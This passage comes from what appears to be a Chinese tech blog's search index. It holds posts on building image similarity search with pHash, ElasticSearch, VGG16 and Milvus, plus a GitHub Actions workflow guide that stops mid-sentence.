与图像打交道,我们必须要先知道:图像是什么? 答案:像素点的集合。 比如: 左图红色圈中的部分其实就是右图中一系列的像素点。 再举例: 假设上图红色圈的部分是一幅图像,其中每一个独立的小方格就是一个像素点(简称像素),像素是最基本的信息单元,而这幅图像的大小就是 11 x 11 px 。 ","date":"2020-06-04","objectID":"/image-search-total/:2:1","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"图像的数学表示 每个图像都可以很自然的用矩阵来表示,每个像素点对应的就是矩阵中的一个元素。 二值图像 二值图像的像素点只有黑白两种情况,因此每个像素点可以由 0 和 1 来表示。 比如一张 4 * 4 二值图像: 0 1 0 1 1 0 0 0 1 1 1 0 0 0 1 0 RGB 图像 红(Red)、绿(Green)、蓝(Blue)作为三原色可以调和成任意的颜色,对于 RGB 图像,每个像素点包含 RGB 共三个通道的基本信息,类似的,如果每个通道用 8 bit 表示即 256 级灰度,那么一个像素点可以表示为: ( [0 ... 255], [0 ... 255], [0 ... 255] ) 比如一张 4 * 4 RGB 图像: (156, 22, 45) (255, 0, 0) (0, 156, 32) (14, 2, 90) (12, 251, 88) (78, 12, 3) (94, 90, 87) (134, 0, 2) (240, 33, 44) (5, 66, 77) (1, 28, 167) (11, 11, 11) (0, 0, 0) (4, 4, 4) (50, 50, 50) (100, 10, 10) 图像处理的本质实际上就是对这些像素矩阵进行计算。 ","date":"2020-06-04","objectID":"/image-search-total/:2:2","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"搜图的技术问题 如果只是找原图,也就是像素点完全相同的图像,那么直接对比它们的 MD5 值即可。然而,图像在网络的传输过程中,常常会遇到诸如压缩、水印等等情况,而 MD5 算法的特点是,即使是小部分内容变动,其最终的结果却是天差地别,换句话说只要图片有一个像素点不一致,最后都是无法对比的。 对于一个以图搜图系统而言,我们要搜的本质上其实是内容相似的图片,为此,我们需要解决两个基本的问题: 把图像表示或抽象为一个计算机数据 这个数据必须是可以进行对比计算的 直接用专业点的话说就是: 图像的特征提取 特征计算(相似性计算) ","date":"2020-06-04","objectID":"/image-search-total/:2:3","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"第一代搜图系统 ","date":"2020-06-04","objectID":"/image-search-total/:3:0","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"特性提取 - 图像抽象 第一代搜图系统在特征提取上使用的是 Perceptual hash 即 pHash 算法,这个算法的基本原理是什么? 如上图所示,pHash 算法就是对图像整体进行一系列变换最后构造 hash 值,而变换的过程可以理解为对图像进行不断的抽象,此时如果对另外一张相似内容的图像进行同样的整体抽象,那么其结果一定是非常接近的。 ","date":"2020-06-04","objectID":"/image-search-total/:3:1","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"特性计算 - 相似性计算 对于两张图像的 pHash 值,具体如何计算其相似的程度?答案是 Hamming distance 汉明距离,汉明距离越小,图像内容越相似。 汉明距离又是什么?就是对应位置不同比特位的个数。 例如: 第一个值: 0 1 0 1 0 第二个值: 0 0 0 1 1 以上两个值的对应位置上有 2 个比特位是不相同的,因此它们的汉明距离就是 2 。 OK ,相似性计算的原理我们知道了,那么下一个问题是:如何去计算亿级图片对应的亿级数据的汉明距离?简而言之,就是如何搜索? 在项目早期其实我并没有找到一个满意的能够快速计算汉明距离的工具(或者说是计算引擎),因此我的方案进行了一次变通。 变通的思想是:如果两个 pHash 值的汉明距离是接近的,那么将 pHash 值进行切割后,切割后的每一个小部分大概率相等。 例如: 第一个值: 8 a 0 3 0 3 f 6 第二个值: 8 a 0 3 0 3 d 8 我们把上面这两个值分割成了 8 块,其中 6 块的值是完全相同的,因此可以推断它们的汉明距离接近,从而图像内容也相似。 经过变换之后,其实你可以发现,汉明距离的计算问题,变成了等值匹配的问题,我把每一个 pHash 值给分成了 8 段,只要里面有超过 5 段的值是完全相同的,那么我就认为他们相似。 等值匹配如何解决?这就很简单了,传统数据库的条件过滤不就可以用了嘛。 当然,我这里用的是 ElasticSearch( ES 的原理本文就不介绍了,读者可以另行了解),在 ES 里的具体操作就是多 term 匹配然后 minimum_should_match 指定匹配程度。 为什么搜索会选择 ElasticSearch ?第一点,它能实现上述的搜索功能;第二点,图片管家项目本身就正在用 ES 提供全文搜索的功能,使用现有资源,成本是非常低的。 ","date":"2020-06-04","objectID":"/image-search-total/:3:2","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"第一代系统总结 第一代搜图系统在技术上选择了 pHash + ElasticSearch 的方案,它拥有如下特点: pHash 算法计算简单,可以对抗一定程度的压缩、水印、噪声等影响。 ElasticSearch 直接使用了项目现有资源,在搜索上没有增加额外的成本。 当然这套系统的局限性也很明显:由于 pHash 算法是对图像的整体进行抽象表示,一旦我们对整体性进行了破坏,比如在原图加一个黑边,就会几乎无法判断相似性。 为了突破这个局限性,底层技术截然不同的第二代搜图系统应运而生。 ","date":"2020-06-04","objectID":"/image-search-total/:3:3","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"第二代搜图系统 ","date":"2020-06-04","objectID":"/image-search-total/:4:0","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"特性提取 在计算机视觉领域,使用人工智能相关的技术基本上已经成了主流,同样,我们第二代搜图系统的特征提取在底层技术上使用的是 CNN 卷积神经网络。 CNN 卷积神经网络这个词让人比较难以理解,重点是回答两个问题: CNN 能干什么? 搜图为什么能用 CNN ? AI 领域有很多赛事,图像分类是其中一项重要的比赛内容,而图像分类就是要去判断图片的内容到底是猫、是狗、是苹果、是梨子、还是其它对象类别。 CNN 能干什么?提取特征,进而识物,我把这个过程简单的理解为,从多个不同的维度去提取特征,衡量一张图片的内容或者特征与猫的特征有多接近,与狗的特征有多接近,等等等等,选择最接近的就可以作为我们的识别结果,也就是判断这张图片的内容是猫,还是狗,还是其它。 CNN 识物又跟我们找相似的图像有什么关系?我们要的不是最终的识物结果,而是从多个维度提取出来的特征向量,两张内容相似的图像的特征向量一定是接近的。 具体使用哪种 CNN 模型? 我使用的是 VGG16 ,为什么选择它?首先,VGG16 拥有很好的泛化能力,也就是很通用;其次,VGG16 提取出来的特征向量是 512 维,维度适中,如果维度太少,精度可能会受影响,如果维度太多,存储和计算这些特征向量的成本会比较高。 ","date":"2020-06-04","objectID":"/image-search-total/:4:1","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"向量搜索引擎 从图像提取特征向量的问题已经解决了,那么剩下的问题就是: 特征向量如何存储? 特征向量如何计算相似性,即如何搜索? 对于这两个问题,直接使用开源的向量搜索引擎 Milvus 就可以很好的解决,截至目前,Milvus 在我们的生产环境一直运行良好。 ","date":"2020-06-04","objectID":"/image-search-total/:4:2","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"第二代系统总结 第二代搜图系统在技术上选择了 CNN + Milvus 的方案,而这种基于特征向量的搜索在业务上也提供了更好的支持。 ","date":"2020-06-04","objectID":"/image-search-total/:4:3","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"相关文章 本人之前已经写过两篇相关的文章: 以图搜图系统概述 以图搜图系统工程实践 英文版: The Journey to Optimizing Billion-scale Image Similarity Search (1/2) The Journey to Optimizing Billion-scale Image Similarity Search (2/2) ","date":"2020-06-04","objectID":"/image-search-total/:5:0","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"以图搜图系统工程实践","date":"2020-04-11","objectID":"/image-search-system2/","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"以图搜图系统工程实践 之前写过一篇概述: 以图搜图系统概述 。 以图搜图系统需要解决的主要问题是: 提取图像特征向量(用特征向量去表示一幅图像) 特征向量的相似度计算(寻找内容相似的图像) 对应的工程实践,具体为: 卷积神经网络 CNN 提取图像特征 向量搜索引擎 Milvus ","date":"2020-04-11","objectID":"/image-search-system2/:0:0","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"CNN 使用卷积神经网路 CNN 去提取图像特征是一种主流的方案,具体的模型则可以使用 VGG16 ,技术实现上则使用 Keras + TensorFlow ,参考 Keras 官方示例: from keras.applications.vgg16 import VGG16 from keras.preprocessing import image from keras.applications.vgg16 import preprocess_input import numpy as np model = VGG16(weights='imagenet', include_top=False) img_path = 'elephant.jpg' img = image.load_img(img_path, target_size=(224, 224)) x = image.img_to_array(img) x = np.expand_dims(x, axis=0) x = preprocess_input(x) features = model.predict(x) 这里提取出来的 feature 就是特性向量。 ","date":"2020-04-11","objectID":"/image-search-system2/:1:0","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"1、归一化 为了方便后续操作,我们常常会将 feature 进行归一化的处理: from numpy import linalg as LA norm_feat = feat[0]/LA.norm(feat[0]) 后续实际使用的也是归一化后的 norm_feat 。 ","date":"2020-04-11","objectID":"/image-search-system2/:1:1","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"2、Image 说明 这里加载图像使用的是 keras.preprocessing 的 image.load_img 方法即: from keras.preprocessing import image img_path = 'elephant.jpg' img = image.load_img(img_path, target_size=(224, 224)) 实际上是 Keras 调用的 TensorFlow 的方法,详情见 TensorFlow 官方文档 ,而最后得到的 image 对象其实是一个 PIL Image 实例( TensorFlow 使用的 PIL )。 ","date":"2020-04-11","objectID":"/image-search-system2/:1:2","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"3、Bytes 转换 实际工程中图像内容常常是通过网络进行传输的,因此相比于从 path 路径加载图片,我们更希望直接将 bytes 数据转换为 image 对象即 PIL Image : import io from PIL import Image # img_bytes: 图片内容 bytes img = Image.open(io.BytesIO(img_bytes)) img = img.convert('RGB') img = img.resize((224, 224), Image.NEAREST) 以上 img 与前文中的 image.load_img 得到的结果相同,这里需要注意的是: 必须进行 RGB 转换 必须进行 resize ( load_img 方法的第二个参数也就是 resize ) ","date":"2020-04-11","objectID":"/image-search-system2/:1:3","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"4、黑边处理 有时候图像会有比较多的黑边部分(例如截屏),而这些黑边的部分即没有实际价值,又会产生比较大的干扰,因此去除黑边也是一项常见的操作。 所谓黑边,本质上就是一行或一列的像素点全部都是 (0, 0, 0) ( RGB 图像),去除黑边就是找到这些行或列,然后删除,实际是一个 numpy 的 3-D Matrix 操作。 移除横向黑边示例: # -*- coding: utf-8 -*- import numpy as np from keras.preprocessing import image def RemoveBlackEdge(img): \"\"\"移除图片横向黑边 Args: img: PIL image 实例 Returns: PIL image 实例 \"\"\" width = img.width img = image.img_to_array(img) img_without_black = img[~np.all(img == np.zeros((1, width, 3), np.uint8), axis=(1, 2))] img = image.array_to_img(img_without_black) return img CNN 提取图像特征以及图像的其它相关处理先写这么多,我们再看向量搜索引擎。 ","date":"2020-04-11","objectID":"/image-search-system2/:1:4","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"向量搜索引擎 Milvus 只有图像的特征向量是远远不够的,我们还需要对这些特征向量进行动态的管理(增删改),以及计算向量的相似度并返回最邻近范围内的向量数据,而开源的向量搜索引擎 Milvus 则很好的完成这些工作。 下文将会讲述具体的实践,以及要注意的地方。 ","date":"2020-04-11","objectID":"/image-search-system2/:2:0","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"1、对 CPU 有要求 想要使用 Milvus ,首先必须要求你的 CPU 支持 avx2 指令集,如何查看你的 CPU 支持哪些指令集呢?对于 Linux 系统,输入指令 cat /proc/cpuinfo | grep flags 你将会看到形如以下的内容: flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid dca sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand lahf_lm abm cpuid_fault epb invpcid_single pti intel_ppin tpr_shadow vnmi flexpriority ept vpid ept_ad fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid cqm xsaveopt cqm_llc cqm_occup_llc dtherm ida arat pln pts flags 后面的这一大堆就是你的 CPU 支持的全部指令集,当然内容太多了,我只想看是否支持具体的某个指令集,比如 avx2 , 再加一个 grep 过滤一下即可: cat /proc/cpuinfo | grep flags | grep avx2 如果执行结果没有内容输出,就是不支持这个指令集,你只能换一台满足要求的机器。 ","date":"2020-04-11","objectID":"/image-search-system2/:2:1","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"2、容量规划 系统设计时,容量规划是需要首先考虑的地方,我们需要存储多少数据,这些数据需要多少内存以及多大的磁盘空间? 速算,上文中特征向量的每一个维度都是 float32 的数据类型,一个 float32 需要占用 4 byte,那么一个 512 维的向量就需要 2 KB ,依次类推: 一千个 512 维向量需要 2 MB 一百万 512 维向量需要 2 GB 一千万 512 维向量需要 20 GB 一个亿 512 维向量需要 200 GB 十个亿 512 维向量需要 2 TB 如果我们希望能将数据全部存在内存中,那么系统就至少需要对应大小的内存容量。 这里推荐你使用官方的大小计算工具: milvus tools 实际上我们的内存可能并没有那么大(内存不够没关系,milvus 会将数据自动刷写到磁盘上),另外除了这些原始的向量数据之外,还会有一些其他的数据例如日志等的存储也是我们需要考虑的地方。 ","date":"2020-04-11","objectID":"/image-search-system2/:2:2","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"3、系统配置 关于系统配置,官方文档有比较详细的说明: Milvus 服务端配置 如何设置系统配置项 配置 Milvus 用于生产环境 ","date":"2020-04-11","objectID":"/image-search-system2/:2:3","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"4、数据库设计 collection \u0026 partition 在 Milvus 中,数据会按照 collection 和 partition 进行划分: collection 就是我们理解的表。 partition 则是 collection 的分区,也就是某个表内部的分区。 partition 分区在底层实现上其实与 collection 集合是一致的,只是前者从属于后者,但是有了分区之后,数据的组织方式变得更加灵活,我们也可以指定集合中某个特定分区进行查询,从而达到一个更高的查询性能,更多内容参考 分区表详细说明 。 我们可以使用多少个 collection 和 partition ? 由于 collection 和 partition 的基本信息都属于元数据,而 milvus 内部进行元数据管理需要使用 SQLite( milvus 内部集成)或者 MySQL (需要外部连接) 其中之一,如果你使用默认的 SQLite 去管理元数据的话,当集合和分区的数量过多时,性能损耗会很严重,因此集合和分区总数不要超过 50000 ( 0.8.0 版本将会限制为 4096 ) ,需要设置更多的数量则建议使用外接 MySQL 的方式。 Milvus 的 collection 和 partition 内部支持的数据结构非常简单,只支持 ID + vector ,换句话说,表只有两列,一列是 ID ,一列是向量数据。 注意: ID 目前只支持整数类型 我们需要保证 ID 在 collection 的层面是唯一的,而不是 partition 。 条件过滤 我们使用一些传统的数据库时,往往可以指定字段进行条件过滤,但是 Milvus 并不能直接支持这项功能,然而我们是可以通过集合和分区的设计去实现简单的条件过滤,例如,我们有很多图片数据,但是这些图片数据都明确的属于具体的用户,那么我们就可以按照用户去划分 partition ,这样查询的时候以用户作为过滤条件其实就是指定 partition 即可。 结构化数据与向量的映射 由于 milvus 只支持 ID + vector 的数据结构,而实际业务上我们最终需要的往往是具有业务意义的结构化数据,也就是说,我们需要通过 vector 向量最终找到结构化数据,因此我们需要通过 ID 去维护结构化数据与向量之间的映射关系: 结构化数据 ID \u003c--\u003e 映射表 \u003c--\u003e Milvus ID 索引类型选择 请参考以下文档: 索引类型 如何选择索引类型 ","date":"2020-04-11","objectID":"/image-search-system2/:2:4","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"5、搜索结果处理 Milvus 的搜索结果是 ID + distance 的集合: ID : collection 中的 ID 。 distance : 0 ~ 1 的距离值,表示相似性程度,越小越相似。 过滤 ID 为 -1 的数据 当数据集过少的时候,搜索结果可能会包含 ID 为 -1 的数据,我们需要自己去过滤掉。 翻页 向量的搜索比较特别,查询的结果是按照相似性顺序,从最相似开始往后选取 topK 个数据( topK 需要搜索时由用户指定)。 Milvus 的搜索不支持翻页,如果我们希望在业务上实现这个功能,那么只能由我们自己去处理,比如,我想要每页 10 条数据,只显示第 3 页的数据,那么我们需要去取 topK = 30 的数据,然后只返回最后 10 条。 业务上的相似性阈值 两张图片的特征向量的距离 distance 范围是 0 ~ 1 ,有些时候我们需要在业务上去判定两张图片是否相似,这时就需要我们自己去设置一个距离的阈值,当 distance 小于阈值时就可以判定为相似,大于阈值时判定为不相似,这个也是需要根据具体的业务自己去处理。 ","date":"2020-04-11","objectID":"/image-search-system2/:2:5","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"结语 本文讲述了以图搜图系统进行工程实践时比较常见的内容,最后强烈推荐一下 Milvus 。 ","date":"2020-04-11","objectID":"/image-search-system2/:3:0","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"以图搜图系统概述","date":"2020-03-31","objectID":"/image-search-system/","tags":["Engineering"],"title":"以图搜图系统概述","uri":"/image-search-system/"},{"categories":["Engineering"],"content":"以图搜图系统概述 以图搜图指的是根据图像内容搜索出相似内容的图像。 构建一个以图搜图系统需要解决两个最关键的问题:首先,提取图像特征;其次,特征数据搜索引擎,即特征数据构建成数据库并提供相似性搜索的功能。 ","date":"2020-03-31","objectID":"/image-search-system/:0:0","tags":["Engineering"],"title":"以图搜图系统概述","uri":"/image-search-system/"},{"categories":["Engineering"],"content":"图像特征表示 介绍三种方式。 ","date":"2020-03-31","objectID":"/image-search-system/:1:0","tags":["Engineering"],"title":"以图搜图系统概述","uri":"/image-search-system/"},{"categories":["Engineering"],"content":"图像哈希 图像通过一系列的变换和处理最终得到的一组哈希值称之为图像的哈希值,而中间的变换和处理过程则称之为哈希算法。 图像的哈希值是对这张图像的整体抽象表示。 比如 Average Hash 算法的计算过程: Reduce size : 将原图压缩到 8 x 8 即 64 像素大小,忽略细节。 Reduce color : 灰度处理得到 64 级灰度图像。 Average the colors : 计算 64 级灰度均值。 Compute the bits : 二值化处理,将每个像素与上一步均值比较并分别记为 0 或者 1 。 Construct the hash : 根据上一步结果矩阵构成一个 64 bit 整数,比如按照从左到右、从上到下的顺序。最后得到的就是图像的均值哈希值。 参考:http://www.hackerfactor.com/blog/?/archives/432-Looks-Like-It.html 图像哈希算法有很多种,包含但不限于: AverageHash : 也叫 Different Hash PHash : Perceptual Hash MarrHildrethHash : Marr-Hildreth Operator Based Hash RadialVarianceHash : Image hash based on Radon transform BlockMeanHash : Image hash based on block mean ColorMomentHash : Image hash based on color moments 我们最常见可能就是 PHash 。 图像哈希可以对抗一定程度的水印、压缩、噪声等影响,即通过对比图像哈希值的 Hamming distance (汉明距离)可以判断两幅图像的内容是否相似。 图像的哈希值是对这张图像的整体抽象表示,局限性也很明显,由于是对图像整体进行的处理,一旦我们对整体性进行了破坏,比如在原图加一个黑边就几乎无法判断相似性了。 ","date":"2020-03-31","objectID":"/image-search-system/:1:1","tags":["Engineering"],"title":"以图搜图系统概述","uri":"/image-search-system/"},{"categories":["Engineering"],"content":"传统特征 在计算机视觉领域早期,创造了很多经典的手工设计的特征算法,比如 SIFT 如上图所示,通过 SIFT 算法提取出来的一系列的特征点。 一幅图像提取出来的特征点有多个,且每一个特征点都是一个局部向量,为了进行相似性计算,通常需要先将这一系列特征点融合编码为一个全局特征,也就是局部特征向量融合编码为一个全局特征向量(用这个全局特征向量表示一幅图像),融合编码相关的算法包括但不限于: BOW Fisher vector VLAD ","date":"2020-03-31","objectID":"/image-search-system/:1:2","tags":["Engineering"],"title":"以图搜图系统概述","uri":"/image-search-system/"},{"categories":["Engineering"],"content":"CNN 特性 人工智能兴起之后,基于 CNN 卷积神经网络提取图像特征越来越主流。 通过 CNN 提取出来的图像特征其实也是一个多维向量,比如使用 VGG16 模型提取特征可参考: https://keras.io/applications/#extract-features-with-vgg16 ","date":"2020-03-31","objectID":"/image-search-system/:1:3","tags":["Engineering"],"title":"以图搜图系统概述","uri":"/image-search-system/"},{"categories":["Engineering"],"content":"搜索引擎 由于将图像转换为了特征向量,因此搜索引擎所要做的就是其实就是向量检索。 这里直接推荐 Milvus ,刚开源不久,可以很方便快捷的使用在工程项目上,具体的相关内容直接查阅官方文档即可。 ","date":"2020-03-31","objectID":"/image-search-system/:2:0","tags":["Engineering"],"title":"以图搜图系统概述","uri":"/image-search-system/"},{"categories":["Uncate"],"content":"GitHub Actions 指南","date":"2019-12-23","objectID":"/github-actions/","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"GitHub Actions 指南 GitHub Actions 使你可以直接在你的 GitHub 库中创建自定义的工作流,工作流指的就是自动化的流程,比如构建、测试、打包、发布、部署等等,也就是说你可以直接进行 CI(持续集成)和 CD (持续部署)。 ","date":"2019-12-23","objectID":"/github-actions/:0:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"基本概念 workflow : 一个 workflow 工作流就是一个完整的过程,每个 workflow 包含一组 jobs 任务。 job : jobs 任务包含一个或多个 job ,每个 job 包含一系列的 steps 步骤。 step : 每个 step 步骤可以执行指令或者使用一个 action 动作。 action : 每个 action 动作就是一个通用的基本单元。 ","date":"2019-12-23","objectID":"/github-actions/:1:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"配置 workflow workflow 必须存储在你的项目库根路径下的 .github/workflows 目录中,每一个 workflow 对应一个具体的 .yml 文件(或者 .yaml)。 workflow 示例: name: Greet Everyone # This workflow is triggered on pushes to the repository. on: [push] jobs: your_job_id: # Job name is Greeting name: Greeting # This job runs on Linux runs-on: ubuntu-latest steps: # This step uses GitHub's hello-world-javascript-action: https://github.com/actions/hello-world-javascript-action - name: Hello world uses: actions/hello-world-javascript-action@v1 with: who-to-greet: 'Mona the Octocat' id: hello # This step prints an output (time) from the previous step's action. - name: Echo the greeting's time run: echo 'The time was ${{ steps.hello.outputs.time }}.' 说明: 最外层的 name 指定了 workflow 的名称。 on 声明了一旦发生了 push 操作就会触发这个 workflow 。 jobs 定义了任务集,其中可以有一个或多个 job 任务,示例中只有一个。 runs-on 声明了运行的环境。 steps 定义需要执行哪些步骤。 每个 step 可以定义自己的 name 和 id ,通过 uses 可以声明使用一个具体的 action ,通过 run 声明需要执行哪些指令。 ${{ }} 可以使用上下文参数。 上述示例可以抽象为: name: \u003cworkflow name\u003e on: \u003cevents that trigger workflows\u003e jobs: \u003cjob_id\u003e: name: \u003cjob_name\u003e runs-on: \u003crunner\u003e steps: - name: \u003cstep_name\u003e uses: \u003caction\u003e with: \u003cparameter_name\u003e: \u003cparameter_value\u003e id: \u003cstep_id\u003e - name: \u003cstep_name\u003e run: \u003ccommands\u003e ","date":"2019-12-23","objectID":"/github-actions/:2:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"on on 声明了何时触发 workflow ,它可以是: 一个或多个 GitHub 事件,比如 push 了一个 commit、创建了一个 issue、产生了一次 pull request 等等,示例: on: [push, pull_request] 预定的时间,示例(每天零点零分触发): on: schedule: - cron: '0 0 * * *' 某个外部事件。所谓外部事件触发,简而言之就是你可以通过 REST API 向 GitHub 发送请求去触发,具体请查阅官方文档: repository-dispatch-event 配置多个事件,示例: on: # Trigger the workflow on push or pull request, # but only for the master branch push: branches: - master pull_request: branches: - master # Also trigger on page_build, as well as release created events page_build: release: types: # This configuration does not affect the page_build event above - created 详细文档请参考: 触发事件 ","date":"2019-12-23","objectID":"/github-actions/:3:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"jobs jobs 可以包含一个或多个 job ,如: jobs: my_first_job: name: My first job my_second_job: name: My second job 如果多个 job 之间存在依赖关系,那么你可能需要使用 needs : jobs: job1: job2: needs: job1 job3: needs: [job1, job2] 这里的 needs 声明了 job2 必须等待 job1 成功完成,job3 必须等待 job1 和 job2 依次成功完成。 每个任务默认超时时间最长为 360 分钟,你可以通过 timeout-minutes 进行配置: jobs: job1: timeout-minutes: ","date":"2019-12-23","objectID":"/github-actions/:4:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"runs-on \u0026 strategy runs-on 指定了任务的 runner 即执行环境,runner 分两种:GitHub-hosted runner 和 self-hosted runner 。 所谓的 self-hosted runner 就是用你自己的机器,但是需要 GitHub 能进行访问并给与其所需的机器权限,这个不在本文描述范围内,有兴趣可参考 self-hosted runner 。 GitHub-hosted runner 其实就是 GitHub 提供的虚拟环境,目前有以下四种: windows-latest : Windows Server 2019 ubuntu-latest 或 ubuntu-18.04 : Ubuntu 18.04 ubuntu-16.04 : Ubuntu 16.04 macos-latest : macOS Catalina 10.15 比较常见的: runs-on: ubuntu-latest ","date":"2019-12-23","objectID":"/github-actions/:5:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"runs-on 多环境 有时候我们常常需要对多个操作系统、多个平台、多个编程语言版本进行测试,为此我们可以配置一个构建矩阵。 例如: runs-on: ${{ matrix.os }} strategy: matrix: os: [ubuntu-16.04, ubuntu-18.04] node: [6, 8, 10] 示例中配置了两种 os 操作系统和三种 node 版本即总共六种情况的构建矩阵,${{ matrix.os }} 是一个上下文参数。 strategy 策略,包括: matrix : 构建矩阵。 fail-fast : 默认为 true ,即一旦某个矩阵任务失败则立即取消所有还在进行中的任务。 max-paraller : 可同时执行的最大并发数,默认情况下 GitHub 会动态调整。 示例: runs-on: ${{ matrix.os }} strategy: matrix: os: [macos-latest, windows-latest, ubuntu-18.04] node: [4, 6, 8, 10] include: # includes a new variable of npm with a value of 2 for the matrix leg matching the os and version - os: windows-latest node: 4 npm: 2 include 声明了 os 为 windows-latest 时,增加一个 node 和 npm 分别使用特定的版本的矩阵环境。 与 include 相反的就是 exclude : runs-on: ${{ matrix.os }} strategy: matrix: os: [macos-latest, windows-latest, ubuntu-18.04] node: [4, 6, 8, 10] exclude: # excludes node 4 on macOS - os: macos-latest node: 4 exclude 用来删除特定的配置项,比如这里当 os 为 macos-latest ,将 node 为 4 的版本从构建矩阵中移除。 ","date":"2019-12-23","objectID":"/github-actions/:5:1","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"steps steps 的通用格式类似于: steps: - name: \u003cstep_name\u003e uses: \u003caction\u003e with: \u003cparameter_name\u003e: \u003cparameter_value\u003e id: \u003cstep_id\u003e continue-on-error: true - name: \u003cstep_name\u003e timeout-minutes: run: \u003ccommands\u003e 每个 step 步骤可以有: id : 每个步骤的唯一标识符 name : 步骤的名称 uses : 使用哪个 action run : 执行哪些指令 with : 指定某个 action 可能需要输入的参数 continue-on-error : 设置为 true 允许此步骤失败 job 仍然通过 timeout-minutes : step 的超时时间 ","date":"2019-12-23","objectID":"/github-actions/:6:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"action action 动作通常是可以通用的,这意味着你可以直接使用别人定义好的 action 。 ","date":"2019-12-23","objectID":"/github-actions/:7:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"checkout action checkout action 是一个标准动作,当以下情况时必须且需要率先使用: workflow 需要项目库的代码副本,比如构建、测试、或持续集成这些操作。 workflow 中至少有一个 action 是在同一个项目库下定义的。 使用示例: - uses: actions/checkout@v1 如果你只想浅克隆你的库,或者只复制最新的版本,你可以在 with 中使用 fetch-depth 声明,例如: - uses: actions/checkout@v1 with: fetch-depth: 1 ","date":"2019-12-23","objectID":"/github-actions/:7:1","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"引用 action 官方 action 标准库: github.com/actions 社区库: marketplace 1、引用公有库中的 action 引用 action 的格式是 {owner}/{repo}@{ref} 或 {owner}/{repo}/{path}@{ref} ,例如上例的中 actions/checkout@v1 ,你还可以使用标准库中的其它 action ,如设置 node 版本: jobs: my_first_job: name: My Job Name steps: - uses: actions/setup-node@v1 with: node-version: 10.x 2、引用同一个库中的 action 引用格式:{owner}/{repo}@{ref} 或 